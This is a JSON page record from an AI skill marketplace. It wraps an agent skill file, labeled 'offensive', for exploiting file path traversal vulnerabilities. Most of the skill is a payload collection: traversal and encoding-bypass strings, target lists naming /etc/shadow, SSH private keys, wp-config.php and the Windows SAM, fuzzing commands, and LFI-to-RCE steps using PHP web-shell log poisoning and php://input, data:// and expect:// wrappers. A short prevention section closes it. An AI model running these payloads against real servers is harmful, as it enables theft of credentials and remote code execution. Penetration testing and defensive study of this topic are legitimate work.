[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill-9f5b40e8-f968-42a3-be50-6c1ba74c88c9":3,"$flzoIjne4z2I4WSyMFfykLU2t71jmiWwKOJ68tmcsDv4":43},{"id":4,"title":5,"description":6,"categoryId":7,"moduleId":8,"tags":9,"prompt":10,"icon":11,"source":12,"sourceUrl":13,"authorId":14,"authorName":15,"isPublic":16,"stars":17,"runs":18,"createdAt":19,"updatedAt":19,"module":20,"category":27,"packages":34},"9f5b40e8-f968-42a3-be50-6c1ba74c88c9","file-path-traversal","识别并利用文件路径遍历（目录遍历）漏洞，允许攻击者读取服务器上的任意文件，可能包括敏感配置文件、凭证和源代码。","cat_life_career","mod_other","sickn33,other","---\nname: file-path-traversal\ndescription: \"Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code.\"\nrisk: offensive\nsource: community\nauthor: zebbern\ndate_added: \"2026-02-27\"\n---\n\n> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.\n\n# File Path Traversal Testing\n\n## Purpose\n\nIdentify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.\n\n## Prerequisites\n\n### Required Tools\n- Web browser with developer tools\n- Burp Suite or OWASP ZAP\n- cURL for testing payloads\n- Wordlists for automation\n- ffuf or wfuzz for fuzzing\n\n### Required Knowledge\n- HTTP request\u002Fresponse structure\n- Linux and Windows filesystem layout\n- Web application architecture\n- Basic understanding of file APIs\n\n## Outputs and Deliverables\n\n1. **Vulnerability Report** - Identified traversal points and severity\n2. **Exploitation Proof** - Extracted file contents\n3. **Impact Assessment** - Accessible files and data exposure\n4. **Remediation Guidance** - Secure coding recommendations\n\n## Core Workflow\n\n### Phase 1: Understanding Path Traversal\n\nPath traversal occurs when applications use user input to construct file paths:\n\n```php\n\u002F\u002F Vulnerable PHP code example\n$template = \"blue.php\";\nif (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {\n    $template = $_COOKIE['template'];\n}\ninclude(\"\u002Fhome\u002Fuser\u002Ftemplates\u002F\" . $template);\n```\n\nAttack principle:\n- `..\u002F` sequence moves up one directory\n- Chain multiple sequences to reach root\n- Access files outside intended directory\n\nImpact:\n- **Confidentiality** - Read sensitive files\n- **Integrity** - Write\u002Fmodify files (in some cases)\n- **Availability** - Delete files (in some cases)\n- **Code Execution** - If combined with file upload or log poisoning\n\n### Phase 2: Identifying Traversal Points\n\nMap application for potential file operations:\n\n```bash\n# Parameters that often handle files\n?file=\n?path=\n?page=\n?template=\n?filename=\n?doc=\n?document=\n?folder=\n?dir=\n?include=\n?src=\n?source=\n?content=\n?view=\n?download=\n?load=\n?read=\n?retrieve=\n```\n\nCommon vulnerable functionality:\n- Image loading: `\u002Fimage?filename=23.jpg`\n- Template selection: `?template=blue.php`\n- File downloads: `\u002Fdownload?file=report.pdf`\n- Document viewers: `\u002Fview?doc=manual.pdf`\n- Include mechanisms: `?page=about`\n\n### Phase 3: Basic Exploitation Techniques\n\n#### Simple Path Traversal\n\n```bash\n# Basic Linux traversal\n..\u002F..\u002F..\u002Fetc\u002Fpasswd\n..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n\n# Windows traversal\n..\\..\\..\\windows\\win.ini\n..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts\n\n# URL encoded\n..%2F..%2F..%2Fetc%2Fpasswd\n..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding\n\n# Test payloads with curl\ncurl \"http:\u002F\u002Ftarget.com\u002Fimage?filename=..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fdownload?file=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\n```\n\n#### Absolute Path Injection\n\n```bash\n# Direct absolute path (Linux)\n\u002Fetc\u002Fpasswd\n\u002Fetc\u002Fshadow\n\u002Fetc\u002Fhosts\n\u002Fproc\u002Fself\u002Fenviron\n\n# Direct absolute path (Windows)\nC:\\windows\\win.ini\nC:\\windows\\system32\\drivers\\etc\\hosts\nC:\\boot.ini\n```\n\n### Phase 4: Bypass Techniques\n\n#### Bypass Stripped Traversal Sequences\n\n```bash\n# When ..\u002F is stripped once\n....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n....\\\u002F....\\\u002F....\\\u002Fetc\u002Fpasswd\n\n# Nested traversal\n...\u002F.\u002F...\u002F.\u002F...\u002F.\u002Fetc\u002Fpasswd\n....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n\n# Mixed encoding\n..%2f..%2f..%2fetc\u002Fpasswd\n%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\n%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\n```\n\n#### Bypass Extension Validation\n\n```bash\n# Null byte injection (older PHP versions)\n..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.jpg\n..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.png\n\n# Path truncation\n..\u002F..\u002F..\u002Fetc\u002Fpasswd...............................\n\n# Double extension\n..\u002F..\u002F..\u002Fetc\u002Fpasswd.jpg.php\n```\n\n#### Bypass Base Directory Validation\n\n```bash\n# When path must start with expected directory\n\u002Fvar\u002Fwww\u002Fimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n\n# Expected path followed by traversal\nimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n```\n\n#### Bypass Blacklist Filters\n\n```bash\n# Unicode\u002FUTF-8 encoding\n..%c0%af..%c0%af..%c0%afetc\u002Fpasswd\n..%c1%9c..%c1%9c..%c1%9cetc\u002Fpasswd\n\n# Overlong UTF-8 encoding\n%c0%2e%c0%2e%c0%af\n\n# URL encoding variations\n%2e%2e\u002F\n%2e%2e%5c\n..%5c\n..%255c\n\n# Case variations (Windows)\n....\\\\....\\\\etc\\\\passwd\n```\n\n### Phase 5: Linux Target Files\n\nHigh-value files to target:\n\n```bash\n# System files\n\u002Fetc\u002Fpasswd           # User accounts\n\u002Fetc\u002Fshadow           # Password hashes (root only)\n\u002Fetc\u002Fgroup            # Group information\n\u002Fetc\u002Fhosts            # Host mappings\n\u002Fetc\u002Fhostname         # System hostname\n\u002Fetc\u002Fissue            # System banner\n\n# SSH files\n\u002Froot\u002F.ssh\u002Fid_rsa           # Root private key\n\u002Froot\u002F.ssh\u002Fauthorized_keys  # Authorized keys\n\u002Fhome\u002F\u003Cuser>\u002F.ssh\u002Fid_rsa    # User private keys\n\u002Fetc\u002Fssh\u002Fsshd_config        # SSH configuration\n\n# Web server files\n\u002Fetc\u002Fapache2\u002Fapache2.conf\n\u002Fetc\u002Fnginx\u002Fnginx.conf\n\u002Fetc\u002Fapache2\u002Fsites-enabled\u002F000-default.conf\n\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log\n\u002Fvar\u002Flog\u002Fapache2\u002Ferror.log\n\u002Fvar\u002Flog\u002Fnginx\u002Faccess.log\n\n# Application files\n\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\n\u002Fvar\u002Fwww\u002Fhtml\u002F.htaccess\n\u002Fvar\u002Fwww\u002Fhtml\u002Fweb.config\n\n# Process information\n\u002Fproc\u002Fself\u002Fenviron      # Environment variables\n\u002Fproc\u002Fself\u002Fcmdline      # Process command line\n\u002Fproc\u002Fself\u002Ffd\u002F0         # File descriptors\n\u002Fproc\u002Fversion           # Kernel version\n\n# Common application configs\n\u002Fetc\u002Fmysql\u002Fmy.cnf\n\u002Fetc\u002Fpostgresql\u002F*\u002Fpostgresql.conf\n\u002Fopt\u002Flampp\u002Fetc\u002Fhttpd.conf\n```\n\n### Phase 6: Windows Target Files\n\nWindows-specific targets:\n\n```bash\n# System files\nC:\\windows\\win.ini\nC:\\windows\\system.ini\nC:\\boot.ini\nC:\\windows\\system32\\drivers\\etc\\hosts\nC:\\windows\\system32\\config\\SAM\nC:\\windows\\repair\\SAM\n\n# IIS files\nC:\\inetpub\\wwwroot\\web.config\nC:\\inetpub\\logs\\LogFiles\\W3SVC1\\\n\n# Configuration files\nC:\\xampp\\apache\\conf\\httpd.conf\nC:\\xampp\\mysql\\data\\mysql\\user.MYD\nC:\\xampp\\passwords.txt\nC:\\xampp\\phpmyadmin\\config.inc.php\n\n# User files\nC:\\Users\\\u003Cuser>\\.ssh\\id_rsa\nC:\\Users\\\u003Cuser>\\Desktop\\\nC:\\Documents and Settings\\\u003Cuser>\\\n```\n\n### Phase 7: Automated Testing\n\n#### Using Burp Suite\n\n```\n1. Capture request with file parameter\n2. Send to Intruder\n3. Mark file parameter value as payload position\n4. Load path traversal wordlist\n5. Start attack\n6. Filter responses by size\u002Fcontent for success\n```\n\n#### Using ffuf\n\n```bash\n# Basic traversal fuzzing\nffuf -u \"http:\u002F\u002Ftarget.com\u002Fimage?filename=FUZZ\" \\\n     -w \u002Fusr\u002Fshare\u002Fwordlists\u002Ftraversal.txt \\\n     -mc 200\n\n# Fuzzing with encoding\nffuf -u \"http:\u002F\u002Ftarget.com\u002Fpage?file=FUZZ\" \\\n     -w \u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n     -mc 200,500 -ac\n```\n\n#### Using wfuzz\n\n```bash\n# Traverse to \u002Fetc\u002Fpasswd\nwfuzz -c -z file,\u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n      --hc 404 \\\n      \"http:\u002F\u002Ftarget.com\u002Findex.php?file=FUZZ\"\n\n# With headers\u002Fcookies\nwfuzz -c -z file,traversal.txt \\\n      -H \"Cookie: session=abc123\" \\\n      \"http:\u002F\u002Ftarget.com\u002Fload?path=FUZZ\"\n```\n\n### Phase 8: LFI to RCE Escalation\n\n#### Log Poisoning\n\n```bash\n# Inject PHP code into logs\ncurl -A \"\u003C?php system(\\$_GET['cmd']); ?>\" http:\u002F\u002Ftarget.com\u002F\n\n# Include Apache log file\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&cmd=id\"\n\n# Include auth.log (SSH)\n# First: ssh '\u003C?php system($_GET[\"cmd\"]); ?>'@target.com\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fauth.log&cmd=whoami\"\n```\n\n#### Proc\u002Fself\u002Fenviron\n\n```bash\n# Inject via User-Agent\ncurl -A \"\u003C?php system('id'); ?>\" \\\n     \"http:\u002F\u002Ftarget.com\u002Fpage?file=\u002Fproc\u002Fself\u002Fenviron\"\n\n# With command parameter\ncurl -A \"\u003C?php system(\\$_GET['c']); ?>\" \\\n     \"http:\u002F\u002Ftarget.com\u002Fpage?file=\u002Fproc\u002Fself\u002Fenviron&c=whoami\"\n```\n\n#### PHP Wrapper Exploitation\n\n```bash\n# php:\u002F\u002Ffilter - Read source code as base64\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php\"\n\n# php:\u002F\u002Finput - Execute POST data as PHP\ncurl -X POST -d \"\u003C?php system('id'); ?>\" \\\n     \"http:\u002F\u002Ftarget.com\u002Fpage?file=php:\u002F\u002Finput\"\n\n# data:\u002F\u002F - Execute inline PHP\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA\u002FPg==&c=id\"\n\n# expect:\u002F\u002F - Execute system commands\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=expect:\u002F\u002Fid\"\n```\n\n### Phase 9: Testing Methodology\n\nStructured testing approach:\n\n```bash\n# Step 1: Identify potential parameters\n# Look for file-related functionality\n\n# Step 2: Test basic traversal\n..\u002F..\u002F..\u002Fetc\u002Fpasswd\n\n# Step 3: Test encoding variations\n..%2F..%2F..%2Fetc%2Fpasswd\n%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\n\n# Step 4: Test bypass techniques\n....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n..;\u002F..;\u002F..;\u002Fetc\u002Fpasswd\n\n# Step 5: Test absolute paths\n\u002Fetc\u002Fpasswd\n\n# Step 6: Test with null bytes (legacy)\n..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.jpg\n\n# Step 7: Attempt wrapper exploitation\nphp:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=index.php\n\n# Step 8: Attempt log poisoning for RCE\n```\n\n### Phase 10: Prevention Measures\n\nSecure coding practices:\n\n```php\n\u002F\u002F PHP: Use basename() to strip paths\n$filename = basename($_GET['file']);\n$path = \"\u002Fvar\u002Fwww\u002Ffiles\u002F\" . $filename;\n\n\u002F\u002F PHP: Validate against whitelist\n$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];\nif (in_array($_GET['file'], $allowed)) {\n    include(\"\u002Fvar\u002Fwww\u002Ffiles\u002F\" . $_GET['file']);\n}\n\n\u002F\u002F PHP: Canonicalize and verify base path\n$base = \"\u002Fvar\u002Fwww\u002Ffiles\u002F\";\n$realBase = realpath($base);\n$userPath = $base . $_GET['file'];\n$realUserPath = realpath($userPath);\n\nif ($realUserPath && strpos($realUserPath, $realBase) === 0) {\n    include($realUserPath);\n}\n```\n\n```python\n# Python: Use os.path.realpath() and validate\nimport os\n\ndef safe_file_access(base_dir, filename):\n    # Resolve to absolute path\n    base = os.path.realpath(base_dir)\n    file_path = os.path.realpath(os.path.join(base, filename))\n    \n    # Verify file is within base directory\n    if file_path.startswith(base):\n        return open(file_path, 'r').read()\n    else:\n        raise Exception(\"Access denied\")\n```\n\n## Quick Reference\n\n### Common Payloads\n\n| Payload | Target |\n|---------|--------|\n| `..\u002F..\u002F..\u002Fetc\u002Fpasswd` | Linux password file |\n| `..\\..\\..\\..\\windows\\win.ini` | Windows INI file |\n| `....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd` | Bypass simple filter |\n| `\u002Fetc\u002Fpasswd` | Absolute path |\n| `php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php` | Source code |\n\n### Target Files\n\n| OS | File | Purpose |\n|----|------|---------|\n| Linux | `\u002Fetc\u002Fpasswd` | User accounts |\n| Linux | `\u002Fetc\u002Fshadow` | Password hashes |\n| Linux | `\u002Fproc\u002Fself\u002Fenviron` | Environment vars |\n| Windows | `C:\\windows\\win.ini` | System config |\n| Windows | `C:\\boot.ini` | Boot config |\n| Web | `wp-config.php` | WordPress DB creds |\n\n### Encoding Variants\n\n| Type | Example |\n|------|---------|\n| URL Encoding | `%2e%2e%2f` = `..\u002F` |\n| Double Encoding | `%252e%252e%252f` = `..\u002F` |\n| Unicode | `%c0%af` = `\u002F` |\n| Null Byte | `%00` |\n\n## Constraints and Limitations\n\n### Permission Restrictions\n- Cannot read files application user cannot access\n- Shadow file requires root privileges\n- Many files have restrictive permissions\n\n### Application Restrictions\n- Extension validation may limit file types\n- Base path validation may restrict scope\n- WAF may block common payloads\n\n### Testing Considerations\n- Respect authorized scope\n- Avoid accessing genuinely sensitive data\n- Document all successful access\n\n## Troubleshooting\n\n| Problem | Solutions |\n|---------|-----------|\n| No response difference | Try encoding, blind traversal, different files |\n| Payload blocked | Use encoding variants, nested sequences, case variations |\n| Cannot escalate to RCE | Check logs, PHP wrappers, file upload, session poisoning |\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n","","imported","https:\u002F\u002Fgithub.com\u002Fsickn33\u002Fantigravity-awesome-skills","user_system_seed","SkillOPIC",true,186,1802,"2026-05-16 13:17:59",{"id":8,"name":21,"slug":22,"icon":23,"description":24,"sort":25,"createdAt":26},"其他","other","mdi-page-next-outline","其他类型Skill",5,"2026-05-16 12:53:40",{"id":7,"name":28,"slug":29,"icon":30,"description":31,"moduleId":8,"sort":32,"skillCount":33,"createdAt":26},"职场发展","career","mdi-briefcase-outline","面试准备、简历优化、职业规划",4,575,[35],{"id":36,"skillId":4,"version":37,"fileName":38,"fileSize":39,"filePath":40,"fileHash":41,"manifest":42,"createdAt":19},"bb9c620a-d248-4538-8045-84ee6f49fe84","1.0.0","file-path-traversal.zip",4566,"uploads\u002Fskills\u002F9f5b40e8-f968-42a3-be50-6c1ba74c88c9\u002Ffile-path-traversal.zip","5289a0c9e0fe1ced65321e4b36d654477505be597069df9e9aabf934b3965dc2","[{\"path\":\"SKILL.md\",\"isDirectory\":false,\"size\":11999}]",{"code":44,"message":45,"data":46},200,"success",{"items":47,"stats":48,"page":51},[],{"averageRating":49,"totalRatings":49,"ratingCounts":50},0,[49,49,49,49,49],{"limit":52,"offset":49,"hasMore":53,"nextOffset":52,"ratedOnly":16},15,false]